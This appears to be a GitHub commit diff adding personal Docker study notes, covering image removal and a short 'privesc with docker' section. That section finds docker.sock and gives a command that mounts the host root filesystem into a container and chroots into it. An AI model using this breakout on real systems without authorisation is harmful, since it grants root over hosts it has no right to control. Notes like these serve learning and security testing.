Skip to content

Commit aaab08a

Browse files
committed
privesc with docker
1 parent 960ab20 commit aaab08a

File tree

1 file changed

+49
-0
lines changed

1 file changed

+49
-0
lines changed

DockerBasics/Docker basics.md

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -87,3 +87,52 @@ docker stop d8162fd1ab99
8787
```bash
8888
docker rm d8162fd1ab99
8989
```
90+
91+
92+
##### remove docker images
93+
94+
```bash
95+
sudo docker images
96+
```
97+
98+
```bash
99+
REPOSITORY TAG IMAGE ID CREATED SIZE
100+
rce latest 9815dffedc8a 3 hours ago 1.1GB
101+
<none> <none> ab342d382e9c 3 hours ago 919MB
102+
my-node-app latest 4af22866525b 3 hours ago 919MB
103+
<none> <none> 3042fe5c6efc 3 hours ago 919MB
104+
```
105+
106+
```bash
107+
sudo docker rmi ab342d382e9c
108+
Deleted: sha256:ab342d382e9cb9f371cf96badbcc91e1d3e44448d2ce0751f838fa2ea6db44ab
109+
```
110+
or
111+
```bash
112+
sudo docker rmi -f rce
113+
Untagged: rce:latest
114+
Deleted: sha256:9815dffedc8a58d7dda263c219ab8b0e13890453a15c22c2ec189a19188273a9
115+
```
116+
117+
118+
##### privesc with docker
119+
120+
ref:- https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#mounted-docker-socket-escape
121+
122+
123+
```bash
124+
find / -name docker.sock 2>/dev/null
125+
126+
/run/docker.sock
127+
```
128+
129+
```bash
130+
docker images
131+
REPOSITORY TAG IMAGE ID CREATED SIZE
132+
alpine latest a24bb4013296 3 years ago 5.57MB
133+
hello-world latest bf756fb1ae65 3 years ago 13.3kB
134+
```
135+
136+
```bash
137+
docker run -it -v /:/host/ alpine chroot /host/ bash
138+
```

0 commit comments

Comments
 (0)